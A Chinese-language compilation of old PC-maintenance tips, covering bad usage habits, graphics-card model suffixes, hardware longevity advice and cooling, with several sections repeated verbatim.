虚拟内存顾名思义就是在硬盘上用硬盘的空间模拟内存，以保证大过系统内存的内存请求，保证程序的运行。一般WINDOWS默认是由WINDOWS自己管理虚拟内存的大小，这样的话有两个坏处：首先每次请求的数值并不一致，所以系统会随意在硬盘分区上划出一个地方，存放临时文件，过后又没有及时删除，使得硬盘上的碎片增多，从而影响系统的效率。其次，一般WINDOWS都是指定自己所在的硬盘做为虚拟内存的存放的默认盘，但是由于很多的用户总是把程序装在同一个分区下，使得该分区的空间越来越小，也就是说虚拟内存能使用的空间在减少，少于一定的程度时，将不能执行大型的软件，甚至无法进入系统。
解决方法：应当手动指定虚拟内存的位置和大小，原则上指定系统虚拟内存的大小为512M以上为好（最小和最大空间一样，以保证WINDOWS不会改变位置），位置看看那个分区有多余的空间就行了。
6、不用卸载，而是直接删除文件夹
很多的软件安装时会在注册表和SYSTEM文件夹下面添加注册信息和文件，如果不通过软件本身的卸载程序来卸载的话，注册表和SYSTEM文件夹里面的信息和文件将永远残留在里面。他们的存在将会使得你的系统变得很庞大，效率越来越低下，超过你的忍耐限度，你就不得不重装你的系统了。
解决办法：删除程序时，应当到控制面板中的删除添加程序去执行（你可以做一个快捷方式在桌面上就方便多了），或者在开始菜单栏中找到程序的目录里的删除快捷方式，通过它来删除程序。还有就是尽量使用绿色免安装的软件。
7、加载或者安装太多同样功能的软件
同样功能的软件势必会行使相同功能的职责，从而引起争端。我认为相同功能的软件应当有所取舍，选择最适合自己使用习惯的软件。特别防病毒软件应当选择一个就可以了，而不是同时加载很多个在系统后台，加载太多会产生消耗太多的系统资源、软件冲突的弊端，在发现病毒时，还有可能出现因为“争杀”病毒而引起系统崩溃的麻烦；就单单对着多个弹出的窗口，分别进行处理，也是一个麻烦。
解决方法：尽可能“从一而终”，不要太花心，选择一个适合自己使用习惯的软件，其他的可以卸载掉；正确对待防病毒软件，应当选择一个病毒库更新速度快的防病毒软件，并及时将自己的病毒库更新到最新的病毒库，而不是安装多个防病毒软件。
人无完人，知错就改就是好同志。我们要改正平时的一些不良的用机习惯，毕竟电脑是我们的好伙伴，不要因为某些错误习惯而一再伤害我们的朋友
这个恐怕是人所共有的通病了，因为回车键通常是我们完成一件事情时，最后要敲击的一个键，大概是出于一种胜利的兴奋感，每个人在输入这个回车键时总是那么大力而爽快地敲击。本人的多个键盘就是这样报废的，最先不看见字的是AWSD（呵呵，心知肚明），最先不能使用的按键却是Enter。
解决办法：解决方法有两个，第一是控制好你的情绪，第二是准备好你的钱包。我选的第二个，有时候好心情是钱买不来的，你呢？
2、在键盘上面吃零食，喝饮料
这个习惯恐怕是很普遍了，我看到很多人都是这样的，特别是入迷者更是把电脑台当成饭桌来使用。我想你要是拆一回你的键盘，也许同样的行为就会减少的，你可以看到你的键盘就像水积岩一样，为你平时的习惯，保留了很多的“化石”，饭粒、饼干渣、头发等等比比皆是，难怪有人说：公用机房里的键盘比公厕还脏。同时这样的碎片还可能进入你的键盘里面，堵塞你键盘上的电路，从而造成输入困难。饮料的危害就更加厉害了，一次就足以毁灭你的键盘。就是你的键盘侥幸没有被毁灭，恐怕打起字来，也是粘粘糊糊很不好过。
解决方法：避免在键盘上吃东西，要不然像我一样买一个防水的PHILIPS键盘，然后每过一段时间就给他打扫卫生，擦澡（虽然这样还是很脏的）；你要是腰包更加饱的话，可以考虑半年换一个键盘（我从来不建议用差的键盘，那可是关乎健康的问题）试试，应该情况会好一些。还有记得给你房间买一个饭桌了。
3、光碟总是放在光驱里(还有看VCD时,暂停后出玩或吃饭!!!)
很多人总是喜欢把光碟放在光驱里，特别是CD碟，其实这种习惯是很不好的。光碟放在光驱里，光驱会每过一段时间，就会进行检测，特别是刻录机，总是在不断的检测光驱，而高倍速光驱在工作时，电机及控制部件都会产生很高的热量，为此光驱厂商们一直在极力想办法解决。
虽然现在已有几种方法能将光驱温度控制在合理的范围内，但如果光驱长时间处于工作状态，那么，即使再先进的技术也仍无法有效控制高温的产生。热量不仅会影响部件的稳定性，同时也会加速机械部件的磨损和激光头的老化。所以令光驱长时间工作，实在是不智之举，除非你想把你的光碟和光驱煮熟。
解决方法：尽量把光碟上的内容转到硬盘上来使用，比如把CD转化为MP3的，如果你是一个完美主义者，那就用虚拟光驱的形式管理你的常用CD碟吧；游戏则尽量使用硬盘版的；大多数光碟版的游戏，都可以在网上找到把光碟版转化为硬盘版的软件；不然就同样采用虚拟光驱的形式。网上有很多虚拟光驱可以下载，怕麻烦的话可以用国产的《东方光驱魔术师3》或《VirtualDrive7.0》， 界面很简单，而且没有了E文的问题，很好上手。
4、关了机又马上重新启动
经常有人一关机就想起来光碟没有拿出来，或者还有某个事情没有完成等等，笔者就是其中一个，可以说有同样毛病的人还是很多的。很多人反应迅速，在关闭电源的刚刚完成就能想起来，然后就伸出手来开机；更有DIY好手，总是动作灵敏，关机，十秒钟处理完故障，重新开机；殊不知这样对计算机危害有多大。
首先，短时间频繁脉冲的电压冲击，可能会损害计算机上的集成电路；其次，受到伤害最大的是硬盘，现在的硬盘都是高速硬盘，从切断电源到盘片完全停止转动，需要比较长的时间。如果盘片没有停转，就重新开机，就相当于让处在减速状态的硬盘重新加速。长此下去，这样的冲击一定会使得你的硬盘一命归西的。
解决办法：关机后有事情忘了做，也就放下他；一定要完成的，请等待一分钟以上再重新开机，要不就在机子没有断开电源的时候按下机箱上的热启动键。要是你以上的方法都做不到，为了你爱机的健康，我建议你在电脑桌上系一个绳子，以便用来绑住你的手一分钟以上。
5、开机箱盖运行
开机箱盖运行一看就知道是DIY们常干的事情。的确开了机箱盖，是能够使得CPU凉快一些，但是这样的代价是以牺牲其它配件的利益来实现的。因为开了机箱盖，机箱里将失去前后对流，空气流将不再经过内存等配件，最受苦的是机箱前面的光驱和硬盘们，失去了对流，将会使得他们位于下部的电路板产生的热量变成向上升，不单单散不掉，还用来加热自己，特别是刻录机，温度会比平时高很多。
不信你比较一下开不开机箱盖的光驱温度。开机箱盖还会带来电磁辐射，噪音等危害，而且会使得机箱中的配件更加容易脏，带来静电的危害，并阻碍风扇的转动。同时，让其他隐患有机可乘，比如你在电脑前边喝茶边观看一部片子，一个爆笑的镜头使你将口中的清茶悉数喷进了敞开的机箱内……
解决办法：很简单，给你机箱盖锁上锁头，然后把钥匙寄给我。要是怕超频不稳定，就不要超频了，现在的CPU够快了，在市场上的主流CPU就够用了。要是你用的是老掉牙的CPU，我建议你还是换一个的好，换一个也就是300元左右（赛扬2或3、毒龙1.2G）何必受提心吊胆和电磁辐射、噪音的苦？还是那句话：快乐是用钱买不到的。
6、用手摸屏幕
其实无论是CRT或者是LCD都是不能用手摸的。计算机在使用过程中会在元器件表面积聚大量的静电电荷。最典型的就是显示器在使用后用手去触摸显示屏幕，会发生剧烈的静电放电现象，静电放电可能会损害显示器，特别是脆弱的LCD。
另外，CRT的表面有防强光、防静电的AGAS(Anti-Glare\Anti-Static)涂层，防反射、防静电的ARAS(Anti-Reflection\Anti-Static)涂层，用手触摸，还会在上面留下手印，不信你从侧面看显示器，就能看到一个个手印在你的屏幕上，难道你想帮公安局叔叔们的忙，提前提取出伤害显示器“凶手”的指纹吗？同时，用手摸显示器，还会因为手上的油脂破坏显示器表面的涂层。
LCD显示器比CRT显示器脆弱很多，用手对着LCD显示屏指指点点或用力地戳显示屏都是不可取的，虽然对于CRT显示器这不算什么大问题，但LCD显示器则不同，这可能对保护层造成划伤、损害显示器的液晶分子，使得显示效果大打折扣，因此这个坏习惯必须改正，毕竟你的LCD显示器并不是触摸屏。
解决方法：在你的显示器上贴一个禁止手模的标志，更不能用指甲在显示器上划道道；想在你的屏幕上“指点江山”，就去买一个激光指定笔吧。强烈的冲击和振动更应该避免，LCD显示器中的屏幕和敏感的电器元件如果受到强烈冲击会导致损坏；显示器清洗应当在专门的音像店里买到相应的清洗剂，然后用眼镜布等柔软的布轻轻擦洗。
7、一直使用同一张墙纸或具有静止画面的屏保
无论是CRT或者是LCD的显示器，长时间显示同样的画面，都会使得相应区域的老化速度加快，长此下去，肯定会出现显示失真的现象。要是你有机会看看机房里的计算机，你就会发现，很多上面已经有了一个明显的画面轮廓。何况人生是多姿多彩的，何必老是用同一副嘴脸呢？
解决措施：每过一定的时间就更换一个主题，最好不要超过半年。平时比较长时间不用时，可以把显示器关掉。要是你没有这样的习惯，可以在显示属性的屏幕保护那里设定好合适的时间，让WINDOWS帮你完成。
8、把光碟或者其他东西放在显示器上。
显示器在正常运转的时候会变热。为了防止过热，显示器会吸入冷空气，使它通过内部电路，然后将它从顶端排出。不信你现在摸摸你放在上面的光碟，是不是热热的象烙饼？若你总是把光碟或纸张放在显示器上头；更加夸张的是让你家猫咪冬天时在上头蜷着睡觉，当显示器是温床，这会让热气在显示器内部累积的。那么色彩失真、影像问题、甚至坏掉都会找上你的显示器。
解决办法：如果你想让显示器保有最好的画质，以及延长它的寿命，赶快叫醒你的猫咪，让它到别处去睡吧。并把你的“烙饼”收到光碟袋里去。
9、拿电脑主机来垫脚
如果想要杀死你的台式计算机，那么开车带它去越野兜风，或是背着它去爬山、蹦迪，那样会更快一些；你的这种方法震动太小了，要比较长的时间才能出成绩。如果你愿意坚持下去，估计取得的第一个成绩就是产生一出个圆满归西的是硬盘吧，死因是硬盘坏道。
解决方法：把你把脚架在电脑上的照片作为你的桌面，让你看看那一个姿势有多难看，这样你就不会把脚再次伸向主机；要不然就把你的电脑发票贴在显示器上，看着发票上的金额，你应该不会无动于衷吧。如果上面的方法都不能制止你的行为的话，我想你就该考虑去买一个带有脚扣的椅子了。
10、计算机与空调、电视机等家用电器使用相同的电源插座
这是因为带有电机的家电运行时会产生尖峰、浪涌等常见的电力污染现象，会有可能弄坏计算机的电力系统，使你的系统无法运作甚至损坏。同时他们在启动时，也会和计算机争夺电源，电量的小幅减少的后果是可能会突然令你的系统重启或关机。
解决方法：为了你的计算机不挨饿或者是吃的“食物（电力）”不干净，首先应使用品质好的计算机开关稳压电源，如长城等品牌。其次，对于一些电力环境很不稳定的用户，建议购买UPS或是稳压电源之类的设备，以保证为计算机提供洁净的电力供应。还有就是优化布线，尽量减少各种电器间的影响。
11、给你的计算机抽二手烟
就像香烟、雪茄或微小烟粒会伤害你的肺一样，烟也可能会跑进你的软驱并危及资料。烟雾也可能会覆盖CD-ROM、DVD驱动器的读取头，造成读取错误。烟头烟灰更有可能使得你的打印机和扫描仪质量大大的下降。
解决方法：要保护你的系统和你自己的最佳方式，就是不要抽烟。如果你就是戒不掉抽烟这个习惯的话，到外面去抽，或在计算机四周打开空气清新器吧！当然更不要把你的键盘当烟灰缸用。
看完了硬件方面的问题，我们来看看在软件方面的问题吧。
1、不停的更换驱动程序
很多的DIY很喜欢不断的更新驱动程序，虽然更新驱动程序有可能提升性能和兼容性，但是不适当的新版本可能会引起硬件功能的异常，在旧版本运转正常的时候建议不要随意升级驱动。先仔细阅读驱动的README文件，对你有好处。就是像显卡这样更新换代迅速的硬件最好不要总是追新，不要随便使用最新版的驱动程序，应该使用适合自己硬件情况的驱动程序，因为每一代的驱动程序都是针对当时市面上最流行的显卡芯片设计，老芯片就不要随便使用新的驱动，更不要随便使用测试版的驱动，测试版的驱动就先留给网站的编辑们去测试他们的系统。
解决方法：到专业的网站上去看看新驱动的介绍，我觉得最保险的办法是：显卡最多用芯片推出半年后的驱动；主板最多用芯片组推出6-9个月的驱动；声卡等最多用推出一年后的驱动；再往后的驱动就不要用了（除非你试过前面的驱动统统有问题）。
2、装很多测试版的或者共享版的软件
追新一族总是喜欢在自己的机子用上最新的软件，和驱动程序一样，更新程序有可能提升性能、增加功能和兼容性，但是不适当的新版本可能会引起系统的异常。特别是测试版的程序，更是害处更多，既然没有推出正式版，就说明该软件还存在着很多不确定的BUG，这些小虫就像定时炸弹一样，随时可能在你的系统中爆炸，损坏你的系统。
共享版的软件有一些过一段时间（或次数）就会失效，要是你的系统通过共享版软件更改了某方面的功能，而共享版软件又因为失效而无法运行，那么你的系统就不能回到你想要的状态了；还有就是使用了共享版的软件来建立的资料或者文档，因为共享版软件失效，而无法打开。所以安装共享版时应当注意共享版提供使用的次数或者时间，以免无法还原系统和丢失资料。
解决办法：如果不是一定要使用新版本才能解决问题的话，尽量使用最新的正式版的软件，测试的工作就留给专家们去完成吧。尽可能注册你的共享版软件，不然就要注意共享版软件的限制，以免丢失重要的文件或者损害系统。
3、在系统运行中进行非正常重启
在系统运行时，进行非正常重启（包括按机箱上的重启键、电源键和Ctrl+Alt+Del），可能使得系统丢失系统文件、存盘错误以及丢失设置等。本来windows是提供了磁盘扫描工具，可以纠正部分出错的文件，但是因为扫描需要一段比较长的时间，很多人都会中断他的工作，经常出现这样的情况，还有可能使得硬盘上的数据的出错几率和次数大大增加，从而使得整个系统崩溃。
解决方法：尽量使用比较稳定的系统，建议CPU频率在750MHz和内存在256M以上的用户使用WINXP的系统，其他的可以考虑WIN2000，还有就是最好把硬盘转化为HTFS的格式，它比FAT32的格式要更加安全，不容易出错。还有就是FAT32和FAT16的用户，最好让磁盘扫描工具执行完它的工作。当然最好的办法是找出死机的原因，杜绝此类现象的出现。
4、不扫描和整理硬盘
经常看到很多人的硬盘里充满了错误和碎片，总是觉得很不好受，其实那些东西不但会使得你的系统出错的几率加大，还有可能让你的系统变的很慢，甚至无法运行。其实很好理解这样的坏处，就像你的房间东西到处扔，还有的缠在一起、甚至损坏了，当然找起东西来效率很低，碰到缠住的，还要先解开；甚至找到了也用不了，因为他们是坏的。
解决方法：平时记得给你硬盘打扫卫生，每过一段时间就应该清理一下硬盘，并且进行整理。如果是添加删除操作比较多的用户，应当一个月整理一次，普通的用户可以三个月整理一次。WINDOWS自带的磁盘整理工具效率很低，可以使用VoptXP、诺顿等工具来提高速度。
5、虚拟内存不指定范围
虚拟内存顾名思义就是在硬盘上用硬盘的空间模拟内存，以保证大过系统内存的内存请求，保证程序的运行。一般WINDOWS默认是由WINDOWS自己管理虚拟内存的大小，这样的话有两个坏处：首先每次请求的数值并不一致，所以系统会随意在硬盘分区上划出一个地方，存放临时文件，过后又没有及时删除，使得硬盘上的碎片增多，从而影响系统的效率。其次，一般WINDOWS都是指定自己所在的硬盘做为虚拟内存的存放的默认盘，但是由于很多的用户总是把程序装在同一个分区下，使得该分区的空间越来越小，也就是说虚拟内存能使用的空间在减少，少于一定的程度时，将不能执行大型的软件，甚至无法进入系统。
解决方法：应当手动指定虚拟内存的位置和大小，原则上指定系统虚拟内存的大小为512M以上为好（最小和最大空间一样，以保证WINDOWS不会改变位置），位置看看那个分区有多余的空间就行了。
6、不用卸载，而是直接删除文件夹
很多的软件安装时会在注册表和SYSTEM文件夹下面添加注册信息和文件，如果不通过软件本身的卸载程序来卸载的话，注册表和SYSTEM文件夹里面的信息和文件将永远残留在里面。他们的存在将会使得你的系统变得很庞大，效率越来越低下，超过你的忍耐限度，你就不得不重装你的系统了。
解决办法：删除程序时，应当到控制面板中的删除添加程序去执行（你可以做一个快捷方式在桌面上就方便多了），或者在开始菜单栏中找到程序的目录里的删除快捷方式，通过它来删除程序。还有就是尽量使用绿色免安装的软件。
7、加载或者安装太多同样功能的软件
同样功能的软件势必会行使相同功能的职责，从而引起争端。我认为相同功能的软件应当有所取舍，选择最适合自己使用习惯的软件。特别防病毒软件应当选择一个就可以了，而不是同时加载很多个在系统后台，加载太多会产生消耗太多的系统资源、软件冲突的弊端，在发现病毒时，还有可能出现因为“争杀”病毒而引起系统崩溃的麻烦；就单单对着多个弹出的窗口，分别进行处理，也是一个麻烦。
解决方法：尽可能“从一而终”，不要太花心，选择一个适合自己使用习惯的软件，其他的可以卸载掉；正确对待防病毒软件，应当选择一个病毒库更新速度快的防病毒软件，并及时将自己的病毒库更新到最新的病毒库，而不是安装多个防病毒软件。
人无完人，知错就改就是好同志。我们要改正平时的一些不良的用机习惯，毕竟电脑是我们的好伙伴，不要因为某些错误习惯而一再伤害我们的朋友
显卡型号中英文字母的详解
显卡型号中最复杂的部分，应该是型号后的英文字母。因为它代表着显卡虽然采用同一个图形核心，但市场的定位不同。最麻烦的是ATI与NVIDIA公司各自使用的后缀字母不统一(也不可能统一)，让人看得眼花缭乱。
LE：
NVIDIA显卡型号采用的后缀。全名为“Limited Edition”(限制版)，代表系列中的低端产品。当前有FX 5700和6800显卡采用。
SE：
ATI显卡型号采用的后缀。全名为“Special Edition”(特殊版)，同样代表系列中的低端产品。通常SE后缀的显卡只有64-bit内存界面，例如9200 SE、9550 SE、9600 SE、9800 SE(此型号有128-bit及256-bit)、X300 SE等。又或者是像素流水线数量减少(如9800 SE)。
ZT：
NVIDIA新增的型号，现在只有GeForce FX 5900ZT一款。ZT代表着比XT更低的市场定位，是系列中最低端的产品。
XT：
最容易让人混淆的型号。ATI与NVIDIA显卡均在使用。在ATI方面，代表系列中最高端的产品，如9600 XT、9800 XT、X800 XT、X600 XT等等。而NVIDIA则将之用作低端型号，如5600XT、5900XT等等，选购时要注意认清。
GT/Pro：
分别为NVIDIA及ATI公司用作中端显卡型号的字母。代表产品有6800 GT、9600 Pro、9800 Pro、X800 Pro等等，唯一例外是新推出的GeForce 6600 GT显卡，它是系列中暂时最高档的型号。
Ultra：
NVIDIA显卡中最顶级的型号，与ATI的“XT”后缀相同。代表产品有6800 Ultra、5700 Ultra等等。
非官方型号：
除了上述的官方型号外，有些显卡厂商还会自定标准推出自己的Ultra、GT等型号，如本文前面部分的《显卡对照表》中没有列出的产品。它代表着个别显卡厂商自定的标准，并非官方产品。有一些厂商还喜欢用“Extreme”后缀给提高了工作频率的显卡命名。
比如说：Radeon 9550是现在最热门的中低端显示卡，厂商十分重视这个市场，因此Radeon 9550的非官方型号也特别多。Radeon 9550的默认工作频率为250/400MHz(核心/显存)，而不同品牌显卡的特别版本的工作频率也并不相同，其中有些版本的性能比公版高出50%以上！
目前，市面上主流的显示卡多达20种以上，聪明的消费者当然会猜到：它们当中有部分其实是同出一辙。以往，采用相同图形核心的产品都会被冠以同一数字型号，再以ZT、SE等后缀进行区分。不过最近Nvidia和Ati两大图形芯片厂商都开始玩数字游戏，即将相同图形核心冠以不同数字型号包装出售。虽然厂商的目的是重组产品线，但实际上新旧产品同时出现于零售市场上，反而使情况更为混乱。
1、ATI方面
Radeon 9600→9550：两者同样都是RV350/360核心的产品，但工作频率从9600显卡的325/400MHz降低为9550显卡的250/400MHz。由于核心相同，Radeon 9550大多数都拥有极佳的超频能力，而且售价只有500多元，故一上市即成为受欢迎的显卡。此外，需注意的是，Radeon 9550与年前推出的Radeon 9500毫无关系，9500采用R300核心(即9700显卡所用的核心)，3D性能比9550强大。www.jz5u.com
Radeon 9200→9250：最令人费解的产品，型号提高但工作频率反降，即核心频率从250MHz稍微降低至240MHz。或许因为9200的名声不是太好，迫使ATI更改型号，但核心设计不变，作用何在？
2、NVIDIA方面
GeForce FX 5200→5500：低端显卡市场的竞争似乎更为激烈，NVIDIA也以同样的方式将FX 5200重新包装后推出。FX 5500的核心工作频率从250MHz提高到270MHz，其他规格不变，幸好售价并未因此大幅上涨
LE：
NVIDIA显卡型号采用的后缀。全名为“Limited Edition”(限制版)，代表系列中的低端产品。当前有FX 5700和6800显卡采用。
SE：
ATI显卡型号采用的后缀。全名为“Special Edition”(特殊版)，同样代表系列中的低端产品。通常SE后缀的显卡只有64-bit内存界面，例如9200 SE、9550 SE、9600 SE、9800 SE(此型号有128-bit及256-bit)、X300 SE等。又或者是像素流水线数量减少(如9800 SE)。
ZT：
NVIDIA新增的型号，现在只有GeForce FX 5900ZT一款。ZT代表着比XT更低的市场定位，是系列中最低端的产品。
XT：
最容易让人混淆的型号。ATI与NVIDIA显卡均在使用。在ATI方面，代表系列中最高端的产品，如9600 XT、9800 XT、X800 XT、X600 XT等等。而NVIDIA则将之用作低端型号，如5600XT、5900XT等等，选购时要注意认清。
GT/Pro：
分别为NVIDIA及ATI公司用作中端显卡型号的字母。代表产品有6800 GT、9600 Pro、9800 Pro、X800 Pro等等，唯一例外是新推出的GeForce 6600 GT显卡，它是系列中暂时最高档的型号。
Ultra：
NVIDIA显卡中最顶级的型号，与ATI的“XT”后缀相同。代表产品有6800 Ultra、5700 Ultra等等。
非官方型号：
除了上述的官方型号外，有些显卡厂商还会自定标准推出自己的Ultra、GT等型号，如本文前面部分的《显卡对照表》中没有列出的产品。它代表着个别显卡厂商自定的标准，并非官方产品。有一些厂商还喜欢用“Extreme”后缀给提高了工作频率的显卡命名。
比如说：Radeon 9550是现在最热门的中低端显示卡，厂商十分重视这个市场，因此Radeon 9550的非官方型号也特别多。Radeon 9550的默认工作频率为250/400MHz(核心/显存)，而不同品牌显卡的特别版本的工作频率也并不相同，其中有些版本的性能比公版高出50%以上！
目前，市面上主流的显示卡多达20种以上，聪明的消费者当然会猜到：它们当中有部分其实是同出一辙。以往，采用相同图形核心的产品都会被冠以同一数字型号，再以ZT、SE等后缀进行区分。不过最近Nvidia和Ati两大图形芯片厂商都开始玩数字游戏，即将相同图形核心冠以不同数字型号包装出售。虽然厂商的目的是重组产品线，但实际上新旧产品同时出现于零售市场上，反而使情况更为混乱。
1、ATI方面
Radeon 9600→9550：两者同样都是RV350/360核心的产品，但工作频率从9600显卡的325/400MHz降低为9550显卡的250/400MHz。由于核心相同，Radeon 9550大多数都拥有极佳的超频能力，而且售价只有500多元，故一上市即成为受欢迎的显卡。此外，需注意的是，Radeon 9550与年前推出的Radeon 9500毫无关系，9500采用R300核心(即9700显卡所用的核心)，3D性能比9550强大。www.jz5u.com
Radeon 9200→9250：最令人费解的产品，型号提高但工作频率反降，即核心频率从250MHz稍微降低至240MHz。或许因为9200的名声不是太好，迫使ATI更改型号，但核心设计不变，作用何在？
2、NVIDIA方面
GeForce FX 5200→5500：低端显卡市场的竞争似乎更为激烈，NVIDIA也以同样的方式将FX 5200重新包装后推出。FX 5500的核心工作频率从250MHz提高到270MHz，其他规格不变，幸好售价并未因此大幅上涨
23个让硬件长寿的小技巧
笔者是—个DIYer，在数年的DIY经历中，对电脑的使用和维护积累了一点点体会。今天，借此把这些体会总结出来，以飨读者……
1. 在连接IDE设备时，应遵循红红相对的原则，让电源线和数据线红色的边缘线相对，这样才不会因插反而烧坏硬件。
2. 在安装硬件设备时，如果接口一直插不进，应检查连接的接口有无方向插反，插错，因错误的连接是无法插入接口的。
3. 根据PC99规范，主板厂家在各接口中都标注了相应的颜色，这些颜色分别和鼠标，键盘、音箱线接头的颜色相对应，这样方便用户拔插。
4. 当你想打开机箱面板对主机内硬件进行维护维修时。应首先切断电源，并将手放在墙壁或水管上一会儿，以放掉自身静电。
5. 硬件中断冲突会导致黑屏，当更换了显卡、内存后仍无法点亮机器时，可考虑更换插槽位置。
6. 在重新安装显卡驱动或重新拔插显卡后，应重新设置显示器的刷新率，否则刷新率可能因显卡出错而自动设定为“优化”（对眼睛有害的50MHz）。
7. 在安装CPU风扇时，最后动用钳子等工具进行辅助安装，这样可控制力度和方向。
8. 面对超频过度带来的黑屏故障，我们可以更改主板中的CMOS跳线，让BIOS恢复到出厂状态。
9. 安装各硬件时，应充分避免PCB板上金属毛刺带来的伤害，注意手拿方向。
10. USB设备不要在站起来后才进行拔插，这样容易损害USB的接口，发生物理变形。
11. 对于由灰尘引起的显卡、内存金手指氧化层故障，大家应用橡皮或棉花沾上酒精清洗，这样就不会黑屏了。
12. 当主机面板上的硬盘灯在闪烁时，千万不要重新启动电脑，这样容易让硬盘产生坏道或导致分区表出错。
13. 光驱、硬盘、软驱、刻录机等硬件设备在安装时一定要上足螺丝，上稳螺丝，以避免读盘或其他振动对硬件的不良影响。
14. 当只需要安装一根内存时，应首选和CPU插座接近的内存插座，这样做的好处是：当内存被CPU风扇带出的灰尘污染后可以清洁，而插座被污染后却极不易清洁。
15. 清洁光盘和显示器屏幕千万不要用酒精，只能使用镜头纸和绒布。
16. 光驱不退盘时，可用针刺光驱面板上如同针眼大的小孔，可强制退盘。
17. 关于显示器的底座，在安装的时候可把显示器倒置，这样装起来方便，效果稳定。
18. 当显示器使用后有了不易清除的污垢后，可对着被污染部位用嘴哈热气，紧接着配合用绒布去擦拭清洁，效果明显。
19. 主机内部杂乱的数据线，电源线可用扎丝或橡皮筋扎起来，这样不但给人整洁的感觉，还方便主机散热。
20. 光电鼠标勿在强光条件下使用，也不要在反光率高的鼠标垫下使用。
21. 在安装CPU散热风扇的三针电源插口时，应连接主板上的CPU风扇接口，这样在BIOS中才能侦测并显示出风扇转速。
22. 手机不要放在显示器或者音箱旁边，因为短信或来电时，会干扰音箱和显示器的工作，发出杂音和显示出波纹。
23. 电脑使用久了，最少应该一季度清洁维护一下主机内部，对显示器进行一次消磁。液晶除外！
1. 在连接IDE设备时，应遵循红红相对的原则，让电源线和数据线红色的边缘线相对，这样才不会因插反而烧坏硬件。
2. 在安装硬件设备时，如果接口一直插不进，应检查连接的接口有无方向插反，插错，因错误的连接是无法插入接口的。
3. 根据PC99规范，主板厂家在各接口中都标注了相应的颜色，这些颜色分别和鼠标，键盘、音箱线接头的颜色相对应，这样方便用户拔插。
4. 当你想打开机箱面板对主机内硬件进行维护维修时。应首先切断电源，并将手放在墙壁或水管上一会儿，以放掉自身静电。
5. 硬件中断冲突会导致黑屏，当更换了显卡、内存后仍无法点亮机器时，可考虑更换插槽位置。
6. 在重新安装显卡驱动或重新拔插显卡后，应重新设置显示器的刷新率，否则刷新率可能因显卡出错而自动设定为“优化”（对眼睛有害的50MHz）。
7. 在安装CPU风扇时，最后动用钳子等工具进行辅助安装，这样可控制力度和方向。
8. 面对超频过度带来的黑屏故障，我们可以更改主板中的CMOS跳线，让BIOS恢复到出厂状态。
9. 安装各硬件时，应充分避免PCB板上金属毛刺带来的伤害，注意手拿方向。
10. USB设备不要在站起来后才进行拔插，这样容易损害USB的接口，发生物理变形。
11. 对于由灰尘引起的显卡、内存金手指氧化层故障，大家应用橡皮或棉花沾上酒精清洗，这样就不会黑屏了。
12. 当主机面板上的硬盘灯在闪烁时，千万不要重新启动电脑，这样容易让硬盘产生坏道或导致分区表出错。
13. 光驱、硬盘、软驱、刻录机等硬件设备在安装时一定要上足螺丝，上稳螺丝，以避免读盘或其他振动对硬件的不良影响。
14. 当只需要安装一根内存时，应首选和CPU插座接近的内存插座，这样做的好处是：当内存被CPU风扇带出的灰尘污染后可以清洁，而插座被污染后却极不易清洁。
15. 清洁光盘和显示器屏幕千万不要用酒精，只能使用镜头纸和绒布。
16. 光驱不退盘时，可用针刺光驱面板上如同针眼大的小孔，可强制退盘。
17. 关于显示器的底座，在安装的时候可把显示器倒置，这样装起来方便，效果稳定。
18. 当显示器使用后有了不易清除的污垢后，可对着被污染部位用嘴哈热气，紧接着配合用绒布去擦拭清洁，效果明显。
19. 主机内部杂乱的数据线，电源线可用扎丝或橡皮筋扎起来，这样不但给人整洁的感觉，还方便主机散热。
20. 光电鼠标勿在强光条件下使用，也不要在反光率高的鼠标垫下使用。
21. 在安装CPU散热风扇的三针电源插口时，应连接主板上的CPU风扇接口，这样在BIOS中才能侦测并显示出风扇转速。
22. 手机不要放在显示器或者音箱旁边，因为短信或来电时，会干扰音箱和显示器的工作，发出杂音和显示出波纹。
23. 电脑使用久了，最少应该一季度清洁维护一下主机内部，对显示器进行一次消磁。液晶除外！
电脑散热问题
据统计，8%的电脑故障是由散热不足引起的。事实上，存在散热隐患的电脑比大家认为的更多。整个系统的散热会直接影响电脑的稳定性和性能，长此以往，很可能引发更严重的问题，对系统危害极大。即使你的电脑看上去似乎一切正常，那也只是暂时的，仍然存在着危险。
A.选一个房间中最冷的地方来放置电脑。条件允许的情况下，放置电脑的楼层越低越好(热空气上升)。电脑要靠墙放置，而且要选择对着太阳升起的东方的那一边的墙。周围也不要放置发热量大的电器。
B.具体摆放主机时，要选择利于空气流通的位置。机箱的周围的顶部要留有一定的空间，尤其要注意机箱上的各个入气口(通常在机箱前面)和排气口(机箱后方)。
C.如果空气流通不存在什么问题，并且房中安装了空调，也要简单布置一下。如果你的电脑房间很大，使用的是中央空调，，在使用电脑时最好把温度调低一些，关机后再调回来。房间小就没有必要这么做了。
D.检查一下房间内使用的灯管。白织灯的发热量不小，最理想的情况是使用发热量较低的冷光灯。
E.不使用电脑时最好关机。使用屏幕保护程序时，也不要忘记了此时电脑的功率并不比平时低多少，发热量不能小视。显示器最后设为闲置15-20分钟后进入节能模式。在启动时的BIOS中，还可以设置休眠或挂起到内存。这些措施都可以节省能源并且延长电脑使用寿命。
F.确定机箱中能形成正常的气流。通常采用的做法是机箱的前面吸风，后面和顶部抽风。添加机箱风扇是个不错的开始，机箱中空余插槽对应位置的挡板一定要装上，主板接口的挡板也要装好，也就是除了进风口和抽风口不要留下任何出风口，这样才能保证形成理想的气流方向。此外，还要确定气流不会被挡住，尽量不要让机箱内的走线挡住着重要的气流位置，线也要扎成一束一束的，当然线是越少越好。尽可能不选择太小的机箱，较大的空间对主板散热是有所帮助的。
G.灰尘也会对散热产生很大的不良影响，所有周围的环境一定要干净。使用较长时间后，各个部件上通常会集有灰尘，它们会把原件和空气隔离，所以要养成定期清理灰尘的好习惯。电源风扇和机箱风扇上的灰尘也很多，大家可以用气老虎及时除掉附在上面的灰尘，这些措施都可以加强散热效果。
H.升级或增加风扇。一般的机箱都可以安装80mm-12mm的机箱风扇。对于直径大的风扇，低转速也能保证较大的风量。现在的主板一般都有监视CPU核心温度的功能，如果你的CPU核心温度超出环境温度太多，你最好还是升级你的CPU风扇。硬盘的散热也很重要，大家也可以为它装配风扇，但务必要装牢固，否则震动反而会影响硬盘寿命。市面上还有一种插在PCI插槽上的风扇，通常用来帮助显卡及主板散热，也能加强机箱内部的空气流动。
